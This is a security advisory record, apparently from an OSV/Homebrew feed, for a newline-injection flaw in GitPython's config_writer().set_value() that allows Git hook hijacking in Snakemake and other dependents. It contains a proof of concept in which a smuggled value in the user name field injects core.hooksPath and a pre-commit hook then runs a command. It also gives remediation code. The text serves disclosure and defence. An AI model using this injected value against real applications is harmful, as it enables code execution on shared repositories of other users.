BREW-SNAKEMAKE-CVE-2026-44244 (GHSA-V87R-6Q3F-2J67)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-17 20:10 – Source websiteGitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
PoC (standalone, no MLRun required):
import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.config_writer() as cw:
cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read()) # uid=...
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:
import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
raise ValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.49"
},
"package": {
"ecosystem": "Homebrew",
"name": "snakemake",
"purl": "pkg:brew/snakemake"
},
"ranges": [
{
"events": [
{
"introduced": "5.5.3"
},
{
"fixed": "9.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "`GitConfigParser.set_value()` passes values to Python\u0027s `configparser` without validating for newlines. GitPython\u0027s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0027s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0027s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip()) # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid \u003e /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read()) # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping \u2014 a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others \u2014 worth auditing their `set_value()` call sites for externally influenced inputs.",
"id": "BREW-snakemake-CVE-2026-44244",
"modified": "2026-09-17T20:10:37Z",
"published": "2026-08-13T17:34:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath",
"upstream": [
"GHSA-v87r-6q3f-2j67",
"CVE-2026-44244",
"PYSEC-2026-2163"
]
}
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